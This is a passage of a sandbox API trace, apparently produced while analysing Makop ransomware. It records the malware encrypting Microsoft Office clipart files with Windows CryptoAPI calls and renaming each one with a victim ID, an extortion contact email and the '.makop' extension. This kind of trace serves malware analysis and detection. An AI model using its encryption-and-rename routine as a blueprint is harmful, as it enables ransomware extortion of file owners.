out: lpNewFilePointer=0x0) returned 1 [0133.369] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0133.375] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.375] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.375] GetProcessHeap () returned 0x48a0000 [0133.375] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.375] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.375] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.375] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.375] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.375] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.376] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.376] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.376] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.376] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.376] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.376] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.377] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c9e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c9e, lpOverlapped=0x0) returned 1 [0133.380] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ca0, dwBufLen=0x3ca0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ca0) returned 1 [0133.380] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.380] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3ca0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3ca0, lpOverlapped=0x0) returned 1 [0133.380] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.380] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.381] SetEndOfFile (hFile=0xf0) returned 1 [0133.388] GetProcessHeap () returned 0x48a0000 [0133.388] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.388] GetProcessHeap () returned 0x48a0000 [0133.388] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.388] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.390] CloseHandle (hObject=0xf0) returned 1 [0133.390] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8166, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0282928.WMF", cAlternateFileName="")) returned 1 [0133.390] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF") returned 63 [0133.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.393] GetProcessHeap () returned 0x48a0000 [0133.393] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.393] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.393] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.394] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0133.398] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.398] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.398] GetProcessHeap () returned 0x48a0000 [0133.399] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.399] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.399] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.399] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.399] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.399] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.399] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.399] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.400] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.400] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.400] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.400] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.400] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8166, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8166, lpOverlapped=0x0) returned 1 [0133.405] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8170, dwBufLen=0x8170 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8170) returned 1 [0133.405] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.405] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8170, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8170, lpOverlapped=0x0) returned 1 [0133.406] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.406] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.406] SetEndOfFile (hFile=0xf0) returned 1 [0133.414] GetProcessHeap () returned 0x48a0000 [0133.414] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.414] GetProcessHeap () returned 0x48a0000 [0133.414] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.414] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.415] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.417] CloseHandle (hObject=0xf0) returned 1 [0133.417] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3700, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0282932.WMF", cAlternateFileName="")) returned 1 [0133.417] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF") returned 63 [0133.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.420] GetProcessHeap () returned 0x48a0000 [0133.420] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.420] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.420] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.420] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.420] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.420] GetProcessHeap () returned 0x48a0000 [0133.420] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.420] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.420] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.420] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.426] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.426] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.426] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.426] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.426] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.427] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.427] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.427] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3700, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3700, lpOverlapped=0x0) returned 1 [0133.429] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3700, dwBufLen=0x3700 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3700) returned 1 [0133.429] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.429] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3700, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3700, lpOverlapped=0x0) returned 1 [0133.429] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.429] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x37d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.429] SetEndOfFile (hFile=0xf0) returned 1 [0133.437] GetProcessHeap () returned 0x48a0000 [0133.437] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.437] GetProcessHeap () returned 0x48a0000 [0133.437] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.437] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.439] CloseHandle (hObject=0xf0) returned 1 [0133.439] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x388a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285462.WMF", cAlternateFileName="")) returned 1 [0133.439] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF") returned 63 [0133.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.442] GetProcessHeap () returned 0x48a0000 [0133.443] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.443] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.443] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.443] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0133.448] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.448] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.448] GetProcessHeap () returned 0x48a0000 [0133.448] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.448] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.448] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.449] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.449] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.449] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.449] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.449] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.449] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.449] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.450] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.450] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.450] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x388a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x388a, lpOverlapped=0x0) returned 1 [0133.451] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3890, dwBufLen=0x3890 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3890) returned 1 [0133.452] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.452] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3890, lpOverlapped=0x0) returned 1 [0133.452] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.452] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.452] SetEndOfFile (hFile=0xf0) returned 1 [0133.459] GetProcessHeap () returned 0x48a0000 [0133.459] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.460] GetProcessHeap () returned 0x48a0000 [0133.460] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.460] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.460] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.461] CloseHandle (hObject=0xf0) returned 1 [0133.462] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2440, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285484.WMF", cAlternateFileName="")) returned 1 [0133.462] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF") returned 63 [0133.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.463] GetProcessHeap () returned 